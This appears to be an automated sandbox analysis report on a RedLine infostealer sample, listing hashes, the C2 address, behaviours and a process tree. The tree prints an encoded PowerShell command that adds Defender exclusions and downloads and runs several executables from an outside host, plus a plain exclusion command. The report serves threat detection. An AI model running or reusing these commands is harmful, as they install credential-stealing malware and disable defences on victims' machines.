redline | 702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33

Analysis

max time kernel
81s
max time network
123s
platform
windows10-2004_x64
resource
win10v2004-20221111-en
resource tags

arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
submitted
16-01-2023 01:31

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General

Target

17855519b9e1bde7cabf66a422b5671d4d462968.exe
Size

365KB
MD5

ee244310289c82ebe8c73cfd83329f49
SHA1

17855519b9e1bde7cabf66a422b5671d4d462968
SHA256

702c24cbf8634002b69a57efdbede5fa256b487e97f7d9272354fdae9c363d33
SHA512

20053cb845d1ef2845c85596f0d214b04fc8301cb783d8631ca8504af26706e78f046d691a65d1bd8fb9f15ff22e3136d5771f5a9394eb8d534afcc90f350d2b
SSDEEP

6144:xVjDF2Bp0G3LkjLsvBrL0+ecB4X0Y37cWI+HLq11aWBLXAO19AjWbc:xRDF2BpjLQLsvBP0+ecyEY37CGP

Score

10^/10

redline 1 evasion infostealer spyware

Malware Config

Extracted

Family

redline

Botnet

107.182.129.73:21733

Attributes

auth_value
3a5bb0917495b4312d052a0b8977d2bb

Signatures

Modifies security service 2 TTPs 5 IoCs

evasion

Modify Registry

T1112

Modify Existing Service

T1031

description	ioc	Process
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Parameters	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Security	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\0	reg.exe
Key deleted	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\TriggerInfo\1	reg.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 1 IoCs

resource	yara_rule
behavioral2/memory/3468-167-0x0000000000400000-0x0000000000420000-memory.dmp	family_redline

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

description	pid	Process	procid_target
PID 3228 created 2724	3228	SmartDefRun.exe	49
PID 3228 created 2724	3228	SmartDefRun.exe	49
PID 3228 created 2724	3228	SmartDefRun.exe	49
PID 3228 created 2724	3228	SmartDefRun.exe	49
PID 1032 created 612	1032	powershell.EXE	3

Blocklisted process makes network request 1 IoCs

flow	pid	Process
13	2732	powershell.exe

Downloads MZ/PE file

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\etc\hosts	SmartDefRun.exe

Executes dropped EXE 4 IoCs

pid	Process
5040	C4Loader.exe
2600	new2.exe
2680	SysApp.exe
3228	SmartDefRun.exe

Stops running service(s) 3 TTPs
evasion

Modify Existing Service
T1031

Impair Defenses
T1562

Service Stop
T1489
Uses the VBS compiler for execution 1 TTPs

Scripting
T1064
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 4772 set thread context of 1364	4772	17855519b9e1bde7cabf66a422b5671d4d462968.exe	80
PID 2600 set thread context of 3468	2600	new2.exe	90
PID 3228 set thread context of 4712	3228	SmartDefRun.exe	119
PID 1032 set thread context of 4636	1032	powershell.EXE	124

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File created	C:\Program Files\WindowsDefenderQC\Defender\SmartScreenQC.exe	SmartDefRun.exe

Launches sc.exe 5 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
3272	sc.exe
4400	sc.exe
4116	sc.exe
624	sc.exe
5056	sc.exe

Program crash 2 IoCs

pid	pid_target	Process	procid_target
5108	4772	WerFault.exe	78
3084	2600	WerFault.exe	88

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE

Suspicious behavior: EnumeratesProcesses 34 IoCs

pid	Process
2732	powershell.exe
2732	powershell.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
2680	SysApp.exe
3468	vbc.exe
3228	SmartDefRun.exe
3228	SmartDefRun.exe
3208	powershell.exe
3208	powershell.exe
3228	SmartDefRun.exe
3228	SmartDefRun.exe
3228	SmartDefRun.exe
3228	SmartDefRun.exe
4464	powershell.exe
4464	powershell.exe
3228	SmartDefRun.exe
3228	SmartDefRun.exe
1032	powershell.EXE
1032	powershell.EXE
4612	powershell.EXE
4612	powershell.EXE
1032	powershell.EXE
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe
4636	dllhost.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2732	powershell.exe
Token: SeDebugPrivilege	3468	vbc.exe
Token: SeDebugPrivilege	3208	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeIncreaseQuotaPrivilege	4464	powershell.exe
Token: SeSecurityPrivilege	4464	powershell.exe
Token: SeTakeOwnershipPrivilege	4464	powershell.exe
Token: SeLoadDriverPrivilege	4464	powershell.exe
Token: SeSystemProfilePrivilege	4464	powershell.exe
Token: SeSystemtimePrivilege	4464	powershell.exe
Token: SeProfSingleProcessPrivilege	4464	powershell.exe
Token: SeIncBasePriorityPrivilege	4464	powershell.exe
Token: SeCreatePagefilePrivilege	4464	powershell.exe
Token: SeBackupPrivilege	4464	powershell.exe
Token: SeRestorePrivilege	4464	powershell.exe
Token: SeShutdownPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeSystemEnvironmentPrivilege	4464	powershell.exe
Token: SeRemoteShutdownPrivilege	4464	powershell.exe
Token: SeUndockPrivilege	4464	powershell.exe
Token: SeManageVolumePrivilege	4464	powershell.exe
Token: 33	4464	powershell.exe
Token: 34	4464	powershell.exe
Token: 35	4464	powershell.exe
Token: 36	4464	powershell.exe
Token: SeIncreaseQuotaPrivilege	4464	powershell.exe
Token: SeSecurityPrivilege	4464	powershell.exe
Token: SeTakeOwnershipPrivilege	4464	powershell.exe
Token: SeLoadDriverPrivilege	4464	powershell.exe
Token: SeSystemProfilePrivilege	4464	powershell.exe
Token: SeSystemtimePrivilege	4464	powershell.exe
Token: SeProfSingleProcessPrivilege	4464	powershell.exe
Token: SeIncBasePriorityPrivilege	4464	powershell.exe
Token: SeCreatePagefilePrivilege	4464	powershell.exe
Token: SeBackupPrivilege	4464	powershell.exe
Token: SeRestorePrivilege	4464	powershell.exe
Token: SeShutdownPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeSystemEnvironmentPrivilege	4464	powershell.exe
Token: SeRemoteShutdownPrivilege	4464	powershell.exe
Token: SeUndockPrivilege	4464	powershell.exe
Token: SeManageVolumePrivilege	4464	powershell.exe
Token: 33	4464	powershell.exe
Token: 34	4464	powershell.exe
Token: 35	4464	powershell.exe
Token: 36	4464	powershell.exe
Token: SeIncreaseQuotaPrivilege	4464	powershell.exe
Token: SeSecurityPrivilege	4464	powershell.exe
Token: SeTakeOwnershipPrivilege	4464	powershell.exe
Token: SeLoadDriverPrivilege	4464	powershell.exe
Token: SeSystemProfilePrivilege	4464	powershell.exe
Token: SeSystemtimePrivilege	4464	powershell.exe
Token: SeProfSingleProcessPrivilege	4464	powershell.exe
Token: SeIncBasePriorityPrivilege	4464	powershell.exe
Token: SeCreatePagefilePrivilege	4464	powershell.exe
Token: SeBackupPrivilege	4464	powershell.exe
Token: SeRestorePrivilege	4464	powershell.exe
Token: SeShutdownPrivilege	4464	powershell.exe
Token: SeDebugPrivilege	4464	powershell.exe
Token: SeSystemEnvironmentPrivilege	4464	powershell.exe
Token: SeRemoteShutdownPrivilege	4464	powershell.exe
Token: SeUndockPrivilege	4464	powershell.exe
Token: SeManageVolumePrivilege	4464	powershell.exe
Token: 33	4464	powershell.exe

Suspicious use of WriteProcessMemory 60 IoCs

description	pid	Process	procid_target
PID 4772 wrote to memory of 1364	4772	17855519b9e1bde7cabf66a422b5671d4d462968.exe	80
PID 4772 wrote to memory of 1364	4772	17855519b9e1bde7cabf66a422b5671d4d462968.exe	80
PID 4772 wrote to memory of 1364	4772	17855519b9e1bde7cabf66a422b5671d4d462968.exe	80
PID 4772 wrote to memory of 1364	4772	17855519b9e1bde7cabf66a422b5671d4d462968.exe	80
PID 4772 wrote to memory of 1364	4772	17855519b9e1bde7cabf66a422b5671d4d462968.exe	80
PID 1364 wrote to memory of 2732	1364	vbc.exe	84
PID 1364 wrote to memory of 2732	1364	vbc.exe	84
PID 1364 wrote to memory of 2732	1364	vbc.exe	84
PID 2732 wrote to memory of 5040	2732	powershell.exe	87
PID 2732 wrote to memory of 5040	2732	powershell.exe	87
PID 2732 wrote to memory of 5040	2732	powershell.exe	87
PID 2732 wrote to memory of 2600	2732	powershell.exe	88
PID 2732 wrote to memory of 2600	2732	powershell.exe	88
PID 2732 wrote to memory of 2600	2732	powershell.exe	88
PID 2600 wrote to memory of 3468	2600	new2.exe	90
PID 2600 wrote to memory of 3468	2600	new2.exe	90
PID 2600 wrote to memory of 3468	2600	new2.exe	90
PID 2600 wrote to memory of 3468	2600	new2.exe	90
PID 2600 wrote to memory of 3468	2600	new2.exe	90
PID 2732 wrote to memory of 2680	2732	powershell.exe	93
PID 2732 wrote to memory of 2680	2732	powershell.exe	93
PID 2732 wrote to memory of 2680	2732	powershell.exe	93
PID 2732 wrote to memory of 3228	2732	powershell.exe	94
PID 2732 wrote to memory of 3228	2732	powershell.exe	94
PID 2884 wrote to memory of 3272	2884	cmd.exe	108
PID 2884 wrote to memory of 3272	2884	cmd.exe	108
PID 2884 wrote to memory of 4400	2884	cmd.exe	109
PID 2884 wrote to memory of 4400	2884	cmd.exe	109
PID 2884 wrote to memory of 4116	2884	cmd.exe	111
PID 2884 wrote to memory of 4116	2884	cmd.exe	111
PID 2884 wrote to memory of 624	2884	cmd.exe	112
PID 2884 wrote to memory of 624	2884	cmd.exe	112
PID 2884 wrote to memory of 5056	2884	cmd.exe	113
PID 2884 wrote to memory of 5056	2884	cmd.exe	113
PID 2884 wrote to memory of 3912	2884	cmd.exe	114
PID 2884 wrote to memory of 3912	2884	cmd.exe	114
PID 2884 wrote to memory of 3932	2884	cmd.exe	115
PID 2884 wrote to memory of 3932	2884	cmd.exe	115
PID 2884 wrote to memory of 1360	2884	cmd.exe	116
PID 2884 wrote to memory of 1360	2884	cmd.exe	116
PID 2884 wrote to memory of 4532	2884	cmd.exe	117
PID 2884 wrote to memory of 4532	2884	cmd.exe	117
PID 2884 wrote to memory of 1612	2884	cmd.exe	118
PID 2884 wrote to memory of 1612	2884	cmd.exe	118
PID 3228 wrote to memory of 4712	3228	SmartDefRun.exe	119
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 1032 wrote to memory of 4636	1032	powershell.EXE	124
PID 4636 wrote to memory of 612	4636	dllhost.exe	3
PID 4636 wrote to memory of 672	4636	dllhost.exe	1
PID 4636 wrote to memory of 948	4636	dllhost.exe	10
PID 4636 wrote to memory of 1012	4636	dllhost.exe	9
PID 4636 wrote to memory of 432	4636	dllhost.exe	21
PID 4636 wrote to memory of 728	4636	dllhost.exe	11

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:672

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:612
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:1012
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{19a22204-926f-4c9f-b562-f70a83b6acf2}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of WriteProcessMemory
  PID:4636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:948

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:728

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:432

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:2724
- C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe
  "C:\Users\Admin\AppData\Local\Temp\17855519b9e1bde7cabf66a422b5671d4d462968.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4772
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1364
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGIAdABhACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAYwBqAHIAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAQAAoACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAkAGUAbgB2ADoAUwB5AHMAdABlAG0ARAByAGkAdgBlACkAIAA8ACMAegBjAHMAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAYgB4AHoAIwA+ADsAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcALAAgADwAIwBhAGEAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGMAZAB6ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAcwBqACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEMANABMAG8AYQBkAGUAcgAuAGUAeABlACcAKQApADwAIwB3AGQAcwAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBuAGUAdwAyAC4AZQB4AGUAJwAsACAAPAAjAGoAYgBxACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAcQB6AGEAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAYwBlAGMAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQApADwAIwBtAGIAegAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAcwA6AC8ALwBjAG8AbgBuAGUAYwB0ADIAbQBlAC4AaABvAHAAdABvAC4AbwByAGcALwB3AG8AdwAvADEALwAyAC8AMwAvADQALwA1AC8ANgAvADcALwBTAHkAcwBBAHAAcAAuAGUAeABlACcALAAgADwAIwBqAHcAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAGYAcQB0ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHcAYgBhACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApACkAPAAjAHUAYQB3ACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcABzADoALwAvAGMAbwBuAG4AZQBjAHQAMgBtAGUALgBoAG8AcAB0AG8ALgBvAHIAZwAvAHcAbwB3AC8AMQAvADIALwAzAC8ANAAvADUALwA2AC8ANwAvAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcALAAgADwAIwBoAGkAYgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHQAcAB2ACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAHQAcgBzACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAbQBhAHIAdABEAGUAZgBSAHUAbgAuAGUAeABlACcAKQApADwAIwBqAGwAcAAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBkAGMAcgAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAZAB3AHAAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAQwA0AEwAbwBhAGQAZQByAC4AZQB4AGUAJwApADwAIwBoAHgAZwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBwAGcAeQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAbQBkAGYAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAbgBlAHcAMgAuAGUAeABlACcAKQA8ACMAdgBoAGUAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAZQBxAHkAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGoAbABkACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFMAeQBzAEEAcABwAC4AZQB4AGUAJwApADwAIwB5AGkAbQAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBjAGEAZQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAcABrAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAUwBtAGEAcgB0AEQAZQBmAFIAdQBuAC4AZQB4AGUAJwApADwAIwBoAGYAZAAjAD4A"
      4⤵
      Blocklisted process makes network request
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2732
    - - C:\Users\Admin\AppData\Local\Temp\C4Loader.exe
        
        "C:\Users\Admin\AppData\Local\Temp\C4Loader.exe"
        5⤵
        Executes dropped EXE
        
        PID:5040
    - - C:\Users\Admin\AppData\Local\Temp\new2.exe
        
        "C:\Users\Admin\AppData\Local\Temp\new2.exe"
        5⤵
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Suspicious use of WriteProcessMemory
        
        PID:2600
      - C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe"
        6⤵
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:3468
      - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 2600 -s 304
        6⤵
        Program crash
        
        PID:3084
    - - C:\Users\Admin\AppData\Local\Temp\SysApp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SysApp.exe"
        5⤵
        Executes dropped EXE
        Suspicious behavior: EnumeratesProcesses
        
        PID:2680
    - - C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe
        
        "C:\Users\Admin\AppData\Local\Temp\SmartDefRun.exe"
        5⤵
        Suspicious use of NtCreateUserProcessOtherParentProcess
        Drops file in Drivers directory
        Executes dropped EXE
        Suspicious use of SetThreadContext
        Drops file in Program Files directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:3228
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4772 -s 300
    3⤵
    - Program crash
    PID:5108
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3208
- C:\Windows\System32\cmd.exe
